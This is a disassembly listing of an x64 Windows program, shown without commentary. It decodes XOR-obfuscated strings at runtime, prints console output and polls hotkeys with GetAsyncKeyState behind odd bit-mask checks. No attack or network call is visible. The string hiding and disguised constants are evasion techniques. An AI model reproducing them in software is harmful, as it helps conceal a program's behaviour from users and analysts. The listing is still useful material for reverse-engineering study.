pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14002f120
cmp r8d, 0x14
jge 0x14002f26f
movsxd rax, r8d
lea r9, [rbp + 0x1f0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x14002f240
xorps xmm0, xmm0
movups xmmword [rbp + 0x248], xmm0
mov qword [rbp + 0x258], r15
mov qword [rbp + 0x260], r15
lea rax, [rbp + 0x1f0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14002f295
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x248]
call fcn.1400050f0
nop
lea r9, [rsp + 0x60]
lea r8, [rbp - 0x28]
lea rdx, [rbp + 0x248]
lea rcx, [rbp + 0x1d0]
call fcn.140003ca0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x14002f2de
mov rax, qword [rax]
mov rdx, rax
mov rcx, r12
call fcn.140005f10
lea rdx, [0x140006b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0x10
jb 0x14002f33b
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002f336
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400369d6
call fcn.1400b7470
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1d0], 0
mov rdx, qword [rbp + 0x260]
cmp rdx, 0x10
jb 0x14002f395
inc rdx
mov rcx, qword [rbp + 0x248]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002f390
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400369dd
call fcn.1400b7470
movups xmm0, xmmword [0x1401ff000]
movups xmmword [rbp + 0x1f0], xmm0
movzx eax, byte [0x1401ff010]
mov byte [rbp + 0x200], al
mov r8d, r15d
cmp r13d, 2
jl 0x14002f508
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
movdqa xmm7, xmmword [0x1402017a0]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x1f4]
mov edx, dword [rsp + 0x20]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14002f401
cmp r8d, 0x11
jge 0x14002f54f
movsxd rax, r8d
lea r9, [rbp + 0x1f0]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x14002f520
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], r15
lea rax, [rbp + 0x1f0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14002f575
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x1d0]
call fcn.1400050f0
lea rcx, [rbp + 0x1d0]
call fcn.140017920
mov r12, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp - 0x1c], 0xff
mov dword [rbp - 0x14], 0xff
mov qword [rbp - 0x10], r15
mov dword [rbp - 8], 0xff
movups xmm0, xmmword [0x1401ff018]
movups xmmword [rbp + 0x1f0], xmm0
mov eax, dword [0x1401ff028]
mov dword [rbp + 0x200], eax
movzx eax, word [0x1401ff02c]
mov word [rbp + 0x204], ax
movzx eax, byte [0x1401ff02e]
mov byte [rbp + 0x206], al
mov r8d, r15d
cmp r13d, 2
jl 0x14002f757
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
movdqa xmm7, xmmword [0x1402017a0]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x1f4]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14002f650
cmp r8d, 0x17
jge 0x14002f79f
movsxd rax, r8d
lea r9, [rbp + 0x1f0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x14002f770
xorps xmm0, xmm0
movups xmmword [rbp + 0x248], xmm0
mov qword [rbp + 0x258], r15
mov qword [rbp + 0x260], r15
lea rax, [rbp + 0x1f0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14002f7c5
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x248]
call fcn.1400050f0
nop
lea r9, [rbp - 0x1c]
lea r8, [rbp - 0x10]
lea rdx, [rbp + 0x248]
lea rcx, [rbp + 0x1d0]
call fcn.140003ca0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x14002f80d
mov rax, qword [rax]
mov rdx, rax
mov rcx, r12
call fcn.140005f10
lea rdx, [0x140006b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0x10
jb 0x14002f86a
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002f865
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400369e4
call fcn.1400b7470
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1d0], 0
mov rdx, qword [rbp + 0x260]
cmp rdx, 0x10
jb 0x14002f8c4
inc rdx
mov rcx, qword [rbp + 0x248]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002f8bf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400369eb
call fcn.1400b7470
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, reloc.WS2_32.dll_WSASetLastError
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx rcx, ax
movabs r12, 0x55b62e2695f425
test r12, rcx
jne 0x14002fa20
mov ecx, Ordinal_50
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx rcx, ax
test r12, rcx
jne 0x14002fa20
mov ecx, WSACleanup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx rcx, ax
movabs rax, 0x8d1a8ae4622d5
test rax, rcx
jne 0x140033b15
mov ecx, reloc.WLDAP32.dll_Ordinal_50
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx rcx, ax
movabs rax, 0x241f9f821e5
test rax, rcx
jne 0x140033b15
mov ecx, WSACleanup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx rcx, ax
movabs rax, 0x24f39bb65
test rax, rcx
jne 0x140030c4a
mov ecx, 0x33
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx rcx, ax
movabs rax, 0x2273341c1a387f85
test rax, rcx
jne 0x140030c4a
mov ecx, reloc.WS2_32.dll_WSAStartup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx rcx, ax
movabs rax, 0x58312940a513a5
test rax, rcx
jne 0x14002fd2b
mov ecx, 0x34
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx rcx, ax
movabs rax, 0x3829b86225
test rax, rcx
jne 0x14002fd2b
mov ecx, reloc.WS2_32.dll_WSACleanup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx ecx, ax
test ecx, 0x3c9ae
jne 0x1400369f2
mov ecx, gethostname
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x885
test cx, ax
jne 0x1400369f2
mov ecx, reloc.WS2_32.dll_WSASetLastError
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx rcx, ax
test r12, rcx
je 0x14002f8f1
call fcn.14003a770
movups xmm0, xmmword [0x1401ff030]
movups xmmword [rbp + 0x1f0], xmm0
movsd xmm1, qword [0x1401ff040]
movsd qword [rbp + 0x200], xmm1
movzx eax, word [0x1401ff048]
mov word [rbp + 0x208], ax
cmp byte [0x1401ff049], 0
je 0x14002fbff
mov r8d, r15d
cmp r13d, 2
jl 0x14002fbb7
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
movdqa xmm7, xmmword [0x1402017a0]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x1f4]
mov edx, dword [rsp + 0x20]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14002fab0
cmp r8d, 0x1a
jge 0x14002fbff
movsxd rax, r8d
lea r9, [rbp + 0x1f0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x14002fbd0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], r15
lea rax, [rbp + 0x1f0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14002fc25
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x1d0]
call fcn.1400050f0
lea rcx, [rbp + 0x1d0]
call fcn.140017920
mov r12, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp + 0x1c4], 0xff
mov dword [rbp + 0x1cc], 0xff
mov qword [rsp + 0x48], r15
mov dword [rsp + 0x50], 0xff
mov eax, dword [0x1401ff068]
mov dword [rsp + 0x20], eax
cmp byte [0x1401ff06b], 0
je 0x140035d4f
cmp r13d, 2
jl 0x140035d10
movdqa xmm3, xmmword [0x140201780]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1402017c0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1402017c0]
shufps xmm2, xmm0, 0xdd
mov ecx, 1
movd xmm0, ecx
psrad xmm2, xmm0
mov ecx, Ordinal_32
movd xmm0, ecx
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402017a0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1402017d0]
movd xmm0, eax
pxor xmm2, xmm0
movd dword [rsp + 0x20], xmm2
jmp 0x140035d4f
call fcn.14003a770
movzx eax, word [0x1401ff540]
mov word [rsp + 0x34], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_50]
mov byte [rsp + 0x34], reloc.WLDAP32.dll_Ordinal_32
xor byte [rsp + 0x35], 0x31
xor al, 0x32
mov byte [rsp + 0x36], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], r15
lea rax, [rsp + 0x34]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14002fd80
lea rdx, [rsp + 0x34]
lea rcx, [rbp + 0x1d0]
call fcn.1400050f0
nop
mov edx, dword [reloc.WLDAP32.dll_Ordinal_50]
lea rcx, [rbp + 0x205]
test edx, edx
jns 0x14002fdbc
neg edx
call fcn.140006890
dec rax
mov byte [rax], reloc.WLDAP32.dll_Ordinal_45
jmp 0x14002fdc1
call fcn.140006890
lea r9, [rsp + 0x30]
lea r8, [rbp + 0x205]
mov rdx, rax
lea rcx, [rbp + 0x210]
call fcn.140004a50
mov r12d, dword [rsp + 0x44]
or r12d, 0xc
movups xmm0, xmmword [0x1401ff520]
movups xmmword [rbp + 0x248], xmm0
movsd xmm1, qword [0x1401ff530]
movsd qword [rbp + 0x258], xmm1
mov eax, dword [0x1401ff538]
mov dword [rbp + 0x260], eax
movzx eax, word [0x1401ff53c]
mov word [rbp + 0x264], ax
cmp byte [0x1401ff53d], 0
je 0x14002ffcf
mov r8d, r15d
cmp r13d, 2
jl 0x14002ff87
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
movdqa xmm7, xmmword [0x1402017a0]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x24c]
mov edx, dword [rsp + 0x20]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14002fe80
cmp r8d, 0x1e
jge 0x14002ffcf
movsxd rax, r8d
lea r9, [rbp + 0x248]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x14002ffa0
xorps xmm0, xmm0
movups xmmword [rbp + 0x2d8], xmm0
mov qword [rbp + 0x2e8], r15
mov qword [rbp + 0x2f0], r15
lea rax, [rbp + 0x248]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14002fff5
lea rdx, [rbp + 0x248]
lea rcx, [rbp + 0x2d8]
call fcn.1400050f0
nop
lea r9, [rbp + 0x210]
lea r8, [rbp + 0x2d8]
movzx edx, dil
lea rcx, [rbp + 0x2b8]
call fcn.1400074b0
nop
lea r9, [rbp + 0x1d0]
lea r8, [rbp + 0x2b8]
movzx edx, sil
lea rcx, [rbp + 0x288]
call fcn.1400074b0
nop
mov r8, qword [rbp + 0x2d0]
cmp r8, 0x10
jb 0x140030075
inc r8
mov rdx, qword [rbp + 0x2b8]
lea rcx, [rbp + 0x2b8]
call fcn.140004400
nop
mov rdx, qword [rbp + 0x2f0]
cmp rdx, 0x10
jb 0x1400300b7
inc rdx
mov rcx, qword [rbp + 0x2d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400300b1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036b29
call fcn.1400b7470
nop
mov r8, qword [rbp + 0x228]
cmp r8, 0x10
jb 0x1400300db
inc r8
mov rdx, qword [rbp + 0x210]
lea rcx, [rbp + 0x210]
call fcn.140004400
nop
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0x10
jb 0x14003011c
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140030117
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036b30
call fcn.1400b7470
mov edx, dword [reloc.WLDAP32.dll_Ordinal_50]
lea rcx, [rbp + 0x205]
test edx, edx
jns 0x14003013c
neg edx
call fcn.140006890
dec rax
mov byte [rax], reloc.WLDAP32.dll_Ordinal_45
jmp 0x140030141
call fcn.140006890
lea r9, [rsp + 0x30]
lea r8, [rbp + 0x205]
mov rdx, rax
lea rcx, [rbp + 0x210]
call fcn.140004a50
nop
movups xmm0, xmmword [0x1401ff548]
movups xmmword [rbp + 0x2d8], xmm0
movups xmm1, xmmword [0x1401ff558]
movups xmmword [rbp + 0x2e8], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
test al, al
je 0x14003031f
cmp r13d, 2
jl 0x1400302e1
movdqa xmm5, xmmword [0x140201780]
mov edx, r15d
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
movdqa xmm7, xmmword [0x1402017a0]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x2dc]
mov r8d, dword [rsp + 0x20]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x20
jl 0x1400301e0
jmp 0x14003031f
lea r9, [rbp + 0x2d8]
mov r8d, r15d
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x1400302f0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], r15
lea rax, [rbp + 0x2d8]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140030345
lea rdx, [rbp + 0x2d8]
lea rcx, [rbp + 0x1d0]
call fcn.1400050f0
nop
lea r9, [rbp + 0x210]
lea r8, [rbp + 0x1d0]
movzx edx, bl
lea rcx, [rbp + 0x2b8]
call fcn.1400074b0
or r12d, 0x1f0
mov dword [rsp + 0x44], r12d
lea rcx, [rbp + 0x2b8]
call fcn.140017920
nop
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0x10
jb 0x1400303db
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400303d5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036b37
call fcn.1400b7470
nop
mov r8, qword [rbp + 0x228]
cmp r8, 0x10
jb 0x1400303fe
inc r8
mov rdx, qword [rbp + 0x210]
lea rcx, [rbp + 0x210]
call fcn.140004400
mov r12, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp - 4], 0xff
mov dword [rbp + 4], 0xff
mov qword [rbp + 8], r15
mov dword [rbp + 0x10], 0xff
lea r9, [rbp - 4]
lea r8, [rbp + 8]
lea rdx, [rbp + 0x288]
lea rcx, [rbp + 0x210]
call fcn.140003ca0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x140030449
mov rax, qword [rax]
mov rdx, rax
mov rcx, r12
call fcn.140005f10
lea rdx, [0x140006b40]
mov rcx, rax
